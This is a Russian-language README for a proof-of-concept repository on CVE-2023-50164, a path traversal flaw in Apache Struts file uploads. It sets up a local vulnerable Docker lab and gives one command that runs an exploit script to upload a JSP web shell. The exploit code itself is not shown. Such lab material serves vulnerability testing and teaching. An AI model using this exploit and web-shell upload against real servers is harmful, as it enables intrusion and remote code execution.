PoC для CVE-2023-50164

Этот репозиторий представляет собой proof of concept (PoC) уязвимости CVE-2023-50164.

1. О CVE-2023-50164

CVE-2023-50164 — это уязвимость обхода пути к файлу (path traversal), возникающая в веб-приложении Apache Struts.
Злоумышленник может эксплуатировать эту уязвимость для загрузки вредоносного файла (WebShell или другого вредоносного ПО) в произвольное место и проведения вторичных атак, таких как удалённое выполнение кода.

2. Сборка уязвимой среды

Уязвимое веб-приложение StrutsUploadApp контейнеризировано с помощью Docker. Выполните следующие шаги для сборки и развёртывания среды.

Используйте предоставленный Dockerfile для сборки Docker-образа StrutsUploadApp.

docker build -t struts-upload-app .
docker run -d -p 8080:8080 --name StrutsUploadApp struts-upload-app 

3. Эксплуатация

Запустите скрипт эксплойта, чтобы вызвать уязвимость.

python exploit.py --url=http://localhost:8080/StrutsUploadApp/upload.action \
    --file=webshell.jsp \
    --file-parameter=upload \
    --attempts=5